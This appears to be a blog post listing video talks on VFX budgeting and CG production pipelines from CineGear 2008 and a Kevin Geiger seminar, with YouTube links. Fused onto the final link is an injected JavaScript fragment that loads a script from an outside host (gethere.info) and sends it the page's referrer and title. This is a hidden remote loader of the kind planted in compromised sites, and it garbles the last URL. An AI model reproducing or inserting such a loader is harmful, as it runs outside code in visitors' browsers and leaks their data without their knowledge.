1. Talks by vfx supervisors Mike Fink and Jeffrey Okun at CineGear 2008, care of StudioDaily.

Some fanny and interesting video, Jeffrey Okun talking about Balancing Artistry & Budgets 🙂

You don’t believe in the Force, do you? (©Star Wars)
That is why we believe in Cerebro budget process, it can be key  !

Jeffrey Okun talking about Balancing Artistry & Budgets

2. Excerpts from Kevin Geiger’s seminar “CG Production Principles & Practices: Keeping Your Money On The Screen & Off The Floor”, delivered in Stuttgart this May.

Pipeline overview

Human factors:
http://www.youtube.com/watch?v=7zx5j9LaJt8

Leadership:
http://www.youtube.com/watch?v=1clF0NqLq1g

Production precepts:
http://www.youtube.com/watch?v=OtkqRuBLIZg

Animation pipeline:
http://www.youtube.com/watch?v=2-4lAnZ53kws.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;